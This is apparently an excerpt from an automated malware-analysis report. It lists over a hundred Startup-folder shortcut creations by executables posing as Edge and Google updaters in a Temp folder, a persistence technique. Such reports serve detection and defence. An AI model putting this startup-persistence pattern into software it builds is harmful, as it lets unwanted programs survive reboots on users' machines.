Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_e04c76b26907405f8b42d142ea72b766.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_2a9e24b71ad64e13a03132b58a8b4eab.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_f44d584e4b3948aa825fd2f68c303c08.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_2f9c2e9b402944f78763aeed507ed556.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_bf3d70f4207b43b4bc47b0d0a079ad33.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_a99a1993b439401f8f9f511e8b1cab25.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_09c0a750f11d494884999ce6371b08dc.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_df0c8781cbf24bb98a87ed8f61b85265.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_11d6fb0fd17b41be87fc848fec0a2b18.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_129c899e2a1c42be9a3e41a8dce953d5.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_cbebdd2c256b4831ad44ea21342751ad.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_22e5f086ff884c3b88899dd69f5e7c0e.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9fa69efc61d8406e9ae080ac03b2ddac.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7f260e4f58884f45b068a139c48f5940.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_c6f25293ec71400f86d2e01a8de3f46c.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_eaca1c41ed604f6da9538b1fd6021e47.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_e05b7c485c4c49f6bf0093aaff493eff.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_77738e661f3246e584f8f20af07fcb93.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_27fadb4ee6b8480ca7125165a4d8a93f.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9107ab1018104d86afb2b29045417219.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_993bca652c984e3cb4f54ae35b7beba3.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_5b50692f0eb542fc82e477637a3c95e7.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_8f1575a7977249ee8142529527c6864d.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_c51579a471264286a0d2c75645c3353a.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ce6d0bc2d0d94fdfb46a0759e7eb30c5.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_3caf0b3215974f25bbce13006a6e409f.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_e87ed31dd38847b9863b43efda133083.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_23d13120aeed491f8ae1f8e810449fbe.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_68c1135d3fad4aa09b4f4ad7ae1c7dc4.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_84ee45b1bccc4282b4866d9ebc85c5a7.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_dda1a20d76bd48cb838ceb893ee1a0a6.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9af8740e43af44ca9c5665f7d56f347a.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_cd7d446af3914ebfa3ac1a9d7e1db77a.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_b93973676d654650883a89137d148cc4.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_94e5a6ccc49c4da3b45df093f1e6b9a0.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_aa4c217e90064fdba31aee42ef5f94e3.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ef03ebc379144cfbacc3c963398c9e84.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_0657835699574d798ee14fa601ae70ef.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7edecea1f3264cb48b56c5beb7775ec4.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_95a947d800db4421aaa1b0527996e996.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_3244f43be22c4cf6b2b13ef99bd1ce28.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_d58922b348994a7682e59305fdb4fdae.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_60b87a4435fa46038c0b62cc0d3511f4.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_596193a42f0a43ae9dcad375648995a0.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_82ea9cf6c7074533a8c476ada3009643.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_13d33fad7e1144ec89102dc080b31912.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1adef8d2980c4340a53115438b966ff1.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_411d1b5be20944329c2f73c2360baac5.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4d182f3f8aa84fdc8429a68b7cb680b5.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_e96cb81d930d44f689b031296e548724.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_395dc20f388c493cb2e340e45a0e2bc4.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9da6de5b91dd464894979aaebd48db19.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_299ef4500ff444a7878c71276737d16a.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7a8f788e11724f0ca5a9d1fc5ab7c538.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_067c27cc5a44493a9de076a306d25402.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7800bd24845d49299ad4b57254cf405d.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_959eb1234d0a483ba52c54a8a3da24cd.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_da9dbf1a1a2949a39893e1500ebb68c7.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_56861caf39d047a594a24b96a3ef7d20.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_93b2bcec93924441bf062241cac8bcfa.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_a3578f11b7fb408c9f12c011070ccf44.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9d949db4125f402aa0319cfce5bd7f56.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_d057c138b8c54fc8848d4d1b7cca215d.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1719a5a28a504c3f8cfaf2bf69f48e5a.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_81fca9e9963945bc9a7493854f2e8af2.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_13d93427430c4866a3935999ad0995c5.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_d8fa50569dae47d69e7c5ff511c892d0.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6d97a038d70f4468925fede4d9ead8ab.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7af78047100249ada2a191b93972e1e4.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ef0554e7e63746c2aa90a14599fe3c36.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_bf9ce0e7dfb04385bf933b54f7f8dcd2.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_da01d2306a8546388ad8c326f554e1cf.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9e2a78212fe8413a986a763f0b5e8fba.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_93ca087eb9804602bcd2d31eb09648c5.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_493e11df656c4fb9b35808a9da5378e7.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4a4e2ffe0af24c70af7bd986e036b820.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_a5265f5a68b342f2a3967949eb8a1dc0.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_fb67aed691754eceb4ae504dcc3e303c.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1c59d7c5c608484bb0c3974b253504b8.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_880d55a39b684695a9f1b905ca28ee65.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_0a928f8bb10c4b24913a1e69cb92f473.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_93b05c4d627146df84959b78c065b170.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1aa037cc08fd4a80b821b3bca1553c25.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_48e69eb5636c4f0496341c744955f7d8.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1b84567656d54760af0052b6067e3308.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_cdaed61dc250465a90921d9a7c219828.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1ea4621d390848b0a71a0c8dffe5156b.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_d8437af857764d59a5dbfc7828dd8470.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_90b3e32a008f42d1afff99ab33d59e72.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4fdd3c21ead4408daf5823c744170210.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ed7e14576ef74cdbb885f4240316373d.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_492ea8a68d4044e2835e2e1f3798803c.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_930f00d034644c5886641a2ab7b8e45e.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ddd5f525ed5b46b4872a7b2f5f49c219.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1238fd8ee71240d68ed02f257e4f6ebe.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1eedc420d3c442fca18214337e8a8d48.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_a79d86293eaf46ee8d360f284e34f44f.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_bd1d67eb73f3420f923c5e59d72d7657.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ffa014cd80d545b8a6494da3aa96fbd6.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6c6b588caa844b57a0a5088c0caff79d.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_0af13e2ef0b74df9b26b0013003308c2.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ec672003c90e43629a85b9ccedf8a3ad.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_45b918bfe3fa429eb04af0188bc6f769.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_234289a5f34e4afaa6298bf5e89a18ab.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_44e91de48d86446e9134d06d32e74ccb.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_b1c891a87f2a424090032bbca24d6957.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4dcacfa1a86c432083bf8b0b5a0271f9.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_a48a60e92d6d49858ff57468d0ccb13b.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_20184c95f91148f28d199e72f5151a5e.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_04b170d6c7ce4a1cbf80adf59681ef6c.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4d41daae070349c7bb4da78c00b33aa2.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_b74ce5e43287458c924871cbb9cb6a01.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_443763e809b44174b5ff2a4a08c59b57.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7b8222f05a2243e4bcea1ad9fe8366cb.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_94e6b20f455d4378b2984888b22868f6.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_f8e58d825fa74171bfeca8fc739bf90c.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_67aa16d8cbb54193b4cc6a43ae987154.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_06a2df6d73e84a5e813020c8b6294cb5.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_5a4a50916973408ead1e547cb01eafdc.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_bd22ce9b6a094cc699e66f19004446a8.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_e17a0145e1874fd581df00f92fad4d95.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ba265ae44a0846b0b141c88b4de7385c.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_29e9667de0f44cee8802f9fd6fe0c816.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_d8ccb28aeeba4f978466d5b95b50a361.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_f75f552ad5d747d0a6f42fcc49bc195c.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_efba153a21ad49929ad2ae53a48fbeac.lnk
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_d92578193ef04bd18e26b1044e69116f.lnk
